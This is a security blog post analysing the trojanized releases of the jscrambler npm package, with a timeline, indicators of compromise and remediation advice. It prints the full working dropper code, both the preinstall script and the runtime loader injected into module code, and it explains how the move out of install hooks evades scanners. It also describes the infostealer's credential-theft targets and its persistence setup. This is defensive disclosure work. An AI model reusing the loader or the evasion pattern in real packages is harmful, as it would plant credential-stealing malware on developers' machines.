Official jscrambler npm Package Compromised Across Multiple Releases

SafeDep Team
13 min read

Table of Contents

TL;DR

The official jscrambler npm package, published by the legitimate jscrambler_ account ([email protected]), was trojanized on July 11, 2026. Over about three hours the attacker published five malicious releases (8.14.0, 8.16.0, 8.17.0, 8.18.0, and 8.20.0), interleaved with clean releases the maintainers appear to have pushed as remediation. Every malicious version carries the same native dropper. It unpacks a platform-matched, Rust-compiled infostealer from a bundled binary container and runs it detached. The stealer targets browser profile data (Chrome, Brave, Edge, Chromium), the Bitwarden browser extension, and Steam sessions, and installs persistence through Windows Task Scheduler and macOS LaunchAgents.

The attacker went further than a normal single-version compromise in two ways. First, they republished the identical payload at 8.16.0 just 19 minutes after a clean 8.15.0 shipped, so the first remediation did not close the credential or CI access. Second, at 8.18.0 they moved the dropper out of the preinstall hook and into the package’s own dist/index.js and dist/bin/jscrambler.js, where it runs when the module is required rather than at install time. A scanner that only flags suspicious install scripts sees nothing.

As of the latest check, latest points to a clean 8.22.0, and 8.14.0, 8.16.0, and 8.17.0 are deprecated as compromised. The two runtime-dropper versions, 8.18.0 and 8.20.0, are still published and not deprecated. No commit, tag, or release for any malicious version exists in the jscrambler GitHub repository, which points to an npm account or CI pipeline compromise rather than a source repository compromise. With roughly 60,000 monthly downloads, the blast radius is significant.

Impact:

  • Installing or importing a malicious version runs a native binary that targets browser credentials across Chrome, Chromium, Brave, and Edge
  • The Bitwarden browser extension (nngceckbapebfimnlniiiahkandclblb) is explicitly targeted, putting stored vault data at risk
  • Steam session cookies (steamLoginSecure, sessionid) are harvested
  • The payload installs persistent scheduled tasks (Windows) or LaunchAgents (macOS) that survive reboots
  • The attacker reused one payload bundle, byte-identical across every malicious release, and changed only the trigger
  • From 8.18.0 onward the dropper fires from the package’s normal code path, so auditing only for install hooks no longer detects it

Timeline (2026-07-11, UTC):

VersionPublishedStatus
8.13.0Jun 30Clean. Last release before the campaign
8.14.015:12Malicious. preinstall dropper. Deprecated as compromised
8.15.017:07Clean. Code byte-identical to 8.13.0
8.16.017:26Malicious. Identical payload reintroduced 19 minutes later. Deprecated
8.17.017:41Malicious. preinstall dropper. Deprecated as compromised
8.18.017:46Malicious. Dropper moved into dist/index.js and dist/bin/jscrambler.js. Not deprecated
8.20.017:53Malicious. Same runtime dropper. Not deprecated
8.22.018:12Clean. Current latest. Code byte-identical to 8.15.0

Versions 8.19.0 and 8.21.0 were never published.

Indicators of Compromise (IoC):

  • Malicious versions with preinstall dropper: [email protected], 8.16.0, 8.17.0
  • Malicious versions with runtime dropper in module code: [email protected], 8.20.0
  • Clean versions: [email protected], 8.15.0, 8.22.0
  • Payload container (dist/intro.js), identical across all malicious versions: 7,837,238 bytes, magic 1b 43 53 49 01 (\x1bCSI\x01), SHA256 a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86
  • SHA256 (Linux ELF x86-64): fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bd
  • SHA256 (Windows PE x86-64): b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903
  • SHA256 (macOS Mach-O arm64): c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fd
  • Install hook (8.14.0, 8.16.0, 8.17.0): "preinstall": "node dist/setup.js"
  • Runtime dropper (8.18.0, 8.20.0): an IIFE at the top of dist/index.js and dist/bin/jscrambler.js that reads dist/intro.js
  • Self-dependency (8.18.0, 8.20.0): "jscrambler": "^8.17.0" listed in the package’s own dependencies
  • Bitwarden extension ID targeted: nngceckbapebfimnlniiiahkandclblb
  • Host artifacts: hidden dotfiles in os.tmpdir() (.{random} on Linux/macOS, .{random}.exe on Windows)
  • Windows Task Scheduler XML with <Hidden>true</Hidden>, restart interval PT1M, count 999
  • macOS LaunchAgent plist with RunAtLoad, KeepAlive, StartInterval 30s

Analysis

The compromise surface

Jscrambler is a commercial JavaScript protection platform. Their official npm CLI client, published under the jscrambler_ account ([email protected]), has ten maintainers, several with @jscrambler.com email addresses.

# Registry metadata for jscrambler
Maintainers: jscrambler_ ([email protected]),
antonio.soares ([email protected]),
jose.cerqueira ([email protected]),
f-ribeiro ([email protected]),
vitormagano ([email protected]),
... and 5 others

Version 8.13.0 was published on June 30, 2026, matching a GitHub commit from the same day. Version 8.14.0 appeared on July 11, 2026, with no corresponding GitHub commit, tag, or pull request. The GitHub repo’s latest tag is [email protected]. The attacker published directly to npm, bypassing the project’s normal release workflow.

The other packages in the jscrambler ecosystem (jscrambler-webpack-plugin, gulp-jscrambler, jscrambler-metro-plugin, grunt-jscrambler) were not affected. Their latest versions remain on the June 30 release and carry no install hooks.

The dropper

The only change to package.json between 8.13.0 and 8.14.0 is the addition of a preinstall script:

# diff package.json (8.13.0 vs 8.14.0)
"eslint:fix": "eslint src/ --fix"
"eslint:fix": "eslint src/ --fix",
"preinstall": "node dist/setup.js"

The dropper itself is 43 lines of clean, readable JavaScript. No obfuscation:

// dist/setup.js ([email protected])
import { readFileSync, writeFileSync } from 'fs';
import { join, dirname } from 'path';
import { fileURLToPath } from 'url';
import { gunzipSync } from 'zlib';
import { spawn } from 'child_process';
import { tmpdir } from 'os';
const __dirname = dirname(fileURLToPath(import.meta.url));
const PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
function ensureNativeRuntime() {
const bundle = readFileSync(join(__dirname, 'intro.js'));
const magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
if (!bundle.slice(0, 5).equals(magic)) return;
const platformId = PLATFORM_IDS[process.platform];
if (platformId === undefined) return;
const count = bundle[5];
let offset = 6;
for (let i = 0; i < count; i++) {
const platform = bundle[offset++];
offset += 8;
const compressedSize = Number(bundle.readBigUInt64LE(offset));
offset += 8;
const data = bundle.slice(offset, offset + compressedSize);
offset += compressedSize;
if (platform !== platformId) continue;
const ext = platform === 1 ? String.fromCharCode(46, 101, 120, 101) : '';
const target = join(tmpdir(), '.' + Math.random().toString(36).slice(2) + ext);
writeFileSync(target, gunzipSync(data), { mode: platform === 1 ? 0o644 : 0o755 });
try {
const proc = spawn(target, [], { detached: true, stdio: 'ignore', windowsHide: true });
proc.unref();
} catch (_) {}
break;
}
}
ensureNativeRuntime();

The function name ensureNativeRuntime is social engineering aimed at anyone who might glance at the file. A few details worth noting:

  • The .exe extension on Windows is constructed via String.fromCharCode(46,101,120,101) to avoid static string matching. That decodes to .exe
  • The output file is dot-prefixed ('.' + Math.random()...) to hide it in directory listings on Unix systems
  • detached: true, stdio: 'ignore', and proc.unref() ensure the spawned binary outlives the npm install process
  • windowsHide: true suppresses the console window on Windows
  • The entire spawn is wrapped in a try/catch that swallows all errors

The binary container

The dist/intro.js file is 7,837,238 bytes (7.5 MB) of raw binary data, not JavaScript despite the .js extension. It uses a custom container format:

Offset Content
0x00 Magic: 1b 43 53 49 01 (\x1bCSI\x01)
0x05 Platform count: 03
0x06 Entry 0 (linux): platformId=0, decompressedSize=4521128, compressedSize=2411350, gzip data...
Entry 1 (win32): platformId=1, decompressedSize=5155328, compressedSize=3340266, gzip data...
Entry 2 (darwin): platformId=2, decompressedSize=3184979, compressedSize=2085565, gzip data...

Each entry is a gzip-compressed native executable. After decompression:

PlatformFormatArchitectureDecompressed Size
LinuxELF 64-bit, dynamically linkedx86-644.31 MB
WindowsPE32+ console executablex86-644.92 MB
macOSMach-O executablearm64 (Apple Silicon)3.04 MB

All three are stripped, Rust-compiled binaries. The Rust toolchain is identifiable from rustls TLS library strings, CRYPTOGAMS crypto module markers, and Rust-standard error handling patterns throughout the binary.

The infostealer payload

String analysis across all three binaries reveals a multi-capability infostealer. The C2 endpoints are not visible in plain strings, which means the binary likely decrypts its configuration at runtime using the embedded AES or ChaCha20 primitives. What is visible:

Browser credential theft. The Windows binary contains browser profile directory paths:

# Strings from win32_payload.exe
LOCALAPPDATAGoogle\Chrome\User DataChromium\User DataBraveSoftware\Brave-Browser\User DataMicrosoft\Edge\User Data

The embedded SQLite engine (full CREATE TABLE statements for FTS indexes are present) suggests the binary reads browser databases directly rather than using browser APIs. The LevelDB reader strings (leveldb.BytewiseComparator, .ldb, MANIFEST-) point to reading local storage and extension data.

Password manager targeting. The Bitwarden browser extension ID appears in the Windows binary:

# Strings from win32_payload.exe
nngceckbapebfimnlniiiahkandclblb

This is Bitwarden’s official Chrome extension identifier. The binary reads the extension’s local storage to access vault data.

Steam session theft. Session cookie names from Steam’s authentication flow appear as a contiguous string:

# Strings from win32_payload.exe
steamLoginSecuresessionidbrowseridtimezoneOffset

These cookies grant authenticated access to a Steam account without credentials.

HTTP client with credential headers. All three binaries contain HTTP/1.1 request templates with authentication headers:

Authorization: Bearer
Cookie:
Credential=
POST

The Credential= string matches the AWS SigV4 signature format, though whether this is used for exfiltration infrastructure or credential harvesting is not determinable from static analysis alone.

Persistence mechanisms

Windows: Task Scheduler. The Windows binary contains a full Task Scheduler XML template:

<!-- Reconstructed from strings in win32_payload.exe -->
<RegistrationInfo><Description>
</Description></RegistrationInfo>
<Triggers>
</Triggers>
<Principals><Principal id="A">
</Principal></Principals>
<Settings>
<Hidden>true</Hidden>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>999</Count>
</RestartOnFailure>
</Settings>
<Actions Context="A"><Exec><Command>
</Command></Exec></Actions></Task>

The task is hidden, runs with an unlimited execution time, and restarts every minute up to 999 times if it fails. cmd.exe execution strings confirm it can run shell commands.

macOS: LaunchAgent. The macOS binary contains a LaunchAgent plist template:

<!-- Reconstructed from strings in darwin_payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>...</string>
<key>ProgramArguments</key>
<array><string>...</string></array>
<key>RunAtLoad</key>
<!-- ... -->
<key>KeepAlive</key>
<!-- ... -->
<integer>30</integer>
</dict>
</plist>

RunAtLoad and KeepAlive with a 30-second StartInterval ensures the binary restarts on login and relaunches if killed.

Linux: BPF capabilities. The Linux binary links against libbpf.so.1, the BPF (Berkeley Packet Filter) library used for kernel-level network and tracing operations. It also reads /proc/self/mountinfo and /proc/self/cgroup for container and environment detection.

The attacker republished after each remediation

Over about three hours the attacker and the maintainers traded releases. Version 8.14.0 shipped the dropper at 15:12 UTC. Almost two hours later, at 17:07, a clean 8.15.0 appeared with the preinstall hook removed and dist/setup.js and dist/intro.js gone. Its dist/index.js and dist/bin/jscrambler.js are byte-identical to 8.13.0, so 8.15.0 reads as a genuine remediation release.

The attacker struck again 19 minutes later. Version 8.16.0 (17:26) restored the exact "preinstall": "node dist/setup.js" hook and re-added dist/intro.js with the same SHA256 (a41a523e...) as the 8.14.0 bundle. The attacker did not rebuild the container, just republished it. That put them back inside the publishing path after the maintainers had responded once, so the first remediation did not revoke their access. Version 8.17.0 (17:41) kept the same preinstall dropper.

The pivot from install hook to runtime execution

At 8.18.0 the attacker changed how the dropper runs. The preinstall hook and dist/setup.js are gone. Instead the attacker injected the dropper as an IIFE at the top of the compiled dist/index.js and dist/bin/jscrambler.js, above the real module code (the _fs, _path, _zlib, _child_process, and _os aliases are the Babel-compiled require calls the file declares just above):

// dist/index.js ([email protected] and 8.20.0), injected above the module's own code
(function () {
var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
try {
var bundle = (0, _fs.readFileSync)((0, _path.join)(__dirname, 'intro.js'));
var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
if (!bundle.slice(0, 5).equals(magic)) return;
var platformId = PLATFORM_IDS[process.platform];
if (platformId === undefined) return;
var count = bundle[5];
var offset = 6;
for (var i = 0; i < count; i++) {
var platform = bundle[offset++];
offset += 8;
var compressedSize = Number(bundle.readBigUInt64LE(offset));
offset += 8;
var data = bundle.slice(offset, offset + compressedSize);
offset += compressedSize;
if (platform !== platformId) continue;
var ext = platform === 1 ? '.exe' : '';
var target = (0, _path.join)((0, _os.tmpdir)(), '.' + Math.random().toString(36).slice(2) + ext);
(0, _fs.writeFileSync)(target, (0, _zlib.gunzipSync)(data), { mode: platform === 1 ? 0o644 : 0o755 });
try {
var proc = (0, _child_process.spawn)(target, [], { detached: true, stdio: 'ignore', windowsHide: true });
proc.unref();
} catch (_) {}
break;
}
} catch (_) {}
})();

The behavior is identical to setup.js. It reads dist/intro.js, checks the magic header, decompresses the platform-matched binary, writes it to a hidden random file in os.tmpdir(), and spawns it detached. The container it reads is still byte-identical to the one from 8.14.0. Only the trigger moved. The payload now fires whenever the module is imported or the CLI runs, not at install time.

This defeats a common supply chain heuristic. Many scanners and manual reviews flag packages that add preinstall, install, or postinstall scripts, on the assumption that install-time code execution is the risky surface. Versions 8.18.0 and 8.20.0 have no install scripts. Their dist/index.js and dist/bin/jscrambler.js differ from the clean 8.13.0 baseline, but a reviewer looking only at package.json scripts would see a clean package. One small tell disappeared in the move. The install-hook dropper built the .exe extension with String.fromCharCode(46, 101, 120, 101) to dodge static matching, while the injected version uses a plain '.exe' literal.

Both 8.18.0 and 8.20.0 also add a self-referential entry to their own dependencies:

// package.json dependencies ([email protected] and 8.20.0)
"jscrambler": "^8.17.0"

A package listing its own name as a dependency has no clear legitimate purpose. In some install topologies it could pull a compromised sibling version into the tree. What that does in a real dependency graph is unclear, and maintainers should assess it.

What changed in the package files

In the preinstall versions (8.14.0, 8.16.0, 8.17.0) the attacker only added code. All 13 existing files in dist/, including the main entry point dist/index.js and the CLI binary dist/bin/jscrambler.js, are byte-identical to 8.13.0. The attacker added one package.json field and two files and touched nothing else. That changed with the runtime-dropper versions. In 8.18.0 and 8.20.0 the attacker modified dist/index.js and dist/bin/jscrambler.js to carry the injected loader, so those two files no longer match the clean baseline.

The four other packages in the jscrambler npm ecosystem ([email protected], [email protected], [email protected], [email protected]) remain on their June 30 releases with no install hooks and no new files.

Remediation

Anyone who installed any of [email protected], 8.16.0, 8.17.0, 8.18.0, or 8.20.0 should treat the machine as compromised. For the preinstall versions the payload ran at install time, before any application code. For 8.18.0 and 8.20.0 it runs whenever the module is required or the CLI is invoked, so any build or process that imported jscrambler triggered it. Rotating browser-stored credentials, Bitwarden master passwords, and Steam sessions is the minimum response. On Windows, check Task Scheduler for hidden tasks. On macOS, inspect ~/Library/LaunchAgents/ for unfamiliar plists.

Because 8.18.0 and 8.20.0 are still published and not deprecated, an unpinned install that resolved to either one before latest moved to 8.22.0 would have pulled the runtime dropper, and an install-script audit would not have caught it. Pin to a version confirmed clean by reading its code, not by the absence of an install script. The current latest, 8.22.0, has dist/index.js and dist/bin/jscrambler.js byte-identical to the clean 8.15.0 and 8.13.0. Until the maintainers confirm the publishing credential is rotated and the access path is closed, treat any new release with caution, since the attacker has re-entered the pipeline once after a remediation.

SafeDep’s Package Manager Guard (pmg) blocks packages with a malware verdict before they reach your environment. The verdict comes from analyzing the package payload rather than from spotting a suspicious install hook, so the same gate that would have rejected the preinstall versions also covers 8.18.0 and 8.20.0, where the dropper hides in the module’s own code and there is no install script to flag.

  • malware
  • npm
  • supply-chain
  • infostealer
  • account-compromise

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.